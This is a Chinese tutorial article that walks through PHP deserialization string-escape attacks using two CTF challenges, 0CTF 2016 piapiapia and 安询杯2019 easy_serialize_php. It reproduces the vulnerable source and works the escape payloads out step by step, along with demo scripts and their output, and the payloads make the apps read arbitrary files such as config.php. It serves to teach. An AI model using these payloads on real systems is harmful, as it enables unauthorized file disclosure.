PHP反序列化字符串逃逸实例详解

 更新时间:2021年02月20日 09:12:44   作者:Pan3a  
这篇文章主要给大家介绍了关于PHP反序列化字符串逃逸的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

通过CTF比赛了解PHP反序列化,记录自己的学习。

借用哈大佬们的名言

任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

0CTF 2016piapiapia-----反序列化后长度递增

安询杯2019-easy_serialize_php-----反序列化后长度递减

0CTF 2016piapiapia

由于是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,因此读取即可

class.php         //主要有mysql类(mysql基本操作)和user类(继承mysql实现功能点)
config.php        //环境配置
index.php         //登陆
profile.php       //查看自己上传的文件
register.php      //注册
update.php        //文件上传

源码分析

然后分析代码,我喜欢通过功能点来分析,既然有注册,登陆,那么自然来看看SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.

后面就看看文件上传,发现也对上传的文件参数进行了限制,但是发现对文件进行了序列化处理,那么肯定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.我们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,但是我们无法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,因此文件可能发生改变,因此可能有漏洞

payload构造

我们知道,PHP反序列化时以;作为分隔点,}做为结束标志,根据长度来判断读取多少字符,我们无法控制$profile['photo']但是可以控制nickname,而nickname又进行了长度限制,strlen函数却无法处理数组,因此用数组进行绕过即可我们在这里截断,那么后面的则会被废弃不再读取,而我们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,不再读取后面的内容,当然这些都不能是字符哈.

";}s:5:"photo";s:10:"config.php";}

这时构造了payload,那么就要来计算溢出数量了,我们构造的payload长度为34,那么就要增加34个长度,由于where变成hacker会增加一个长度,那么我们就需要34个where,最终payload

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理解析

<?php

function filter($string) {
 $escape = array('\'', '\\\\');
 $escape = '/' . implode('|', $escape) . '/';
 $string = preg_replace($escape, '_', $string);

 $safe = array('select', 'insert', 'update', 'delete', 'where');
 $safe = '/' . implode('|', $safe) . '/i';
 return preg_replace($safe, 'hacker', $string);
}

$profile = array(
 'phone'=>'01234567890',
 'email'=>'12345678@11.com',
 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
 'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
echo PHP_EOL;
print_r(filter(serialize($profile)));
echo PHP_EOL;
var_dump(unserialize(filter(serialize($profile))));
echo PHP_EOL;
?>

输出结果展示,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个整体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},刚好204个长度,经过filter过滤函数后,where变成了hacker,反序列化的长度变化了,但是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,作为另一个反序列化的其中一个元素,而末尾的'}又不是字符,因此被认为反序列化结束了,后面的内容被丢弃,因此可以任意读取文件.

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {
 'phone' =>
 string(11) "01234567890"
 'email' =>
 string(15) "12345678@11.com"
 'nickname' =>
 array(1) {
 [0] =>
 string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
 }
 'photo' =>
 string(10) "config.php"
}

安询杯2019-easy_serialize_php

源码

<?php

$function = @$_GET['f'];

function filter($img){
 $filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
}


if($_SESSION){
 unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
 echo '<a href="index.php?f=highlight_file" rel="external nofollow" >source_code</a>';
}

if(!$_GET['img_path']){
 $_SESSION['img'] = base64_encode('guest_img.png');
}else{
 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
 highlight_file('index.php');
}else if($function == 'phpinfo'){
 eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
 $userinfo = unserialize($serialize_info);
 echo file_get_contents(base64_decode($userinfo['img']));
}

分析

源码不多,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读完全发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取.

将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,但是经过sha1加密,我们无法得知加密后内容,但结合前面的extract变量覆盖,我们可以自己POST构造.

构造了之后,会经过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.

payload构造

我们任然利用序列化,经过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而我们能控制的只有后面两个,我们需要构造的payload是这样的

f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}

但是不经任何改变则是这样的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

我还是利用截断的思想不让其读取元素img的值,我们自己来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度自己酌情参考,一般是到自己能控制的点就好)后面的长度,来构造自己的payload咯,我们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,但是我们无法构造23个长度,我们可以多吞噬一个,24个字符,那么就用6个flag就好,但是这样后面的序列化就混乱了,我们就要添加自己的payload,并补全.虽然这样补好了,但是只有两个元素,这里需要三个元素,我们就再添加元素,并将后面的img进行截断
a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
截断只需}即可,并且不为读取的字符即可,因此添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里我们新增了一个元素,因此吞噬后function元素消失了,随便补充好元素即可.

原理解析

<?php

function filter($img){
 $filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
}

$arr = array(
 "user"=>"flagflagflagflagflagflag",
 "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',
 //"user"=>'guest',
 //"function"=>'show_image',
 "img"=>sha1(base64_encode('guest_img.png'))
);

print_r(serialize($arr));
echo PHP_EOL;
print_r(filter(serialize($arr)));
echo PHP_EOL;
print_r(unserialize(filter(serialize($arr))));

?>

输出展示

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
Array
(
    [user] => ";s:8:"function";s:62:"2
    [img] => ZDBnM19mMWFnLnBocA==
    [tql] => tql
)

总结

到此这篇关于PHP反序列化字符串逃逸的文章就介绍到这了,更多相关PHP反序列化内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • php基础字符串与数组知识点讲解

    php基础字符串与数组知识点讲解

    通过老师的授课,发现JS的字符串与数组的操作与PHP的非常类似,可以相互借鉴学习,一方面是可以快速理解函数用法,另一个是相互印证相互提高了
    2022-11-11
  • php的一个简单加密解密代码

    php的一个简单加密解密代码

    分享一个php加密解密的类,在用户注册的时候发送邮件验证的时候估计会用的到的,代码如下
    2014-01-01
  • PHP下通过系统信号量加锁方式获取递增序列ID

    PHP下通过系统信号量加锁方式获取递增序列ID

    前一阵子,设计LAJP时需要在PHP中生成唯一ID,看似小菜一碟却着实让我为难了,在Java中一个同步方法即可搞定的事,但在PHP中却没有好的解决思路。
    2009-09-09
  • PHP编程实现阳历转换为阴历的方法实例

    PHP编程实现阳历转换为阴历的方法实例

    这篇文章主要介绍了PHP编程实现阳历转换为阴历的方法,结合具体实例形式分析了php阴历操作类的定义与使用技巧,需要的朋友可以参考下
    2017-08-08
  • 页面乱码问题的根源及其分析

    页面乱码问题的根源及其分析

    这个问题已经遇到过俩次了,就是页面中明确指明了编码是UTF8,但是显示是乱码。虽然知道解决方法,也知道是Apache的原因,但是一直没有去找其所以然,今天趁机,就研究了一下
    2013-08-08
  • 深入Nginx + PHP 缓存详解

    深入Nginx + PHP 缓存详解

    以下是对Nginx中的PHP缓存进行了详细的分析介绍,需要的朋友可以参考下
    2013-07-07
  • PHP组合模式Composite Pattern优点与实现过程

    PHP组合模式Composite Pattern优点与实现过程

    这篇文章主要介绍了PHP组合模式Composite Pattern优点与实现,组合模式是一种结构型模式,它允许你将对象组合成树形结构来表示“部分-整体”的层次关系。组合能让客户端以一致的方式处理个别对象和对象组合
    2023-03-03
  • PHP获取文件扩展名的4种方法

    PHP获取文件扩展名的4种方法

    这篇文章主要介绍了PHP获取文件扩展名的4种方法,涉及PHP针对字符串与数组及上传文件属性等相关操作技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-11-11
  • php事件驱动化设计详解

    php事件驱动化设计详解

    这篇文章主要介绍了php事件驱动化设计,结合实例形式较为详细的分析了php事件驱动化所涉及的信号量、共享内存与进程间通信相关概念与操作技巧,需要的朋友可以参考下
    2016-11-11
  • PHP编程中尝试程序并发的几种方式总结

    PHP编程中尝试程序并发的几种方式总结

    这篇文章主要介绍了PHP编程中尝试程序并发的几种方式总结,这里举了借助yield的异步以及swoole_process的进程创建等例子,PHP本身并不支持多线程并发,需要的朋友可以参考下
    2016-03-03

最新评论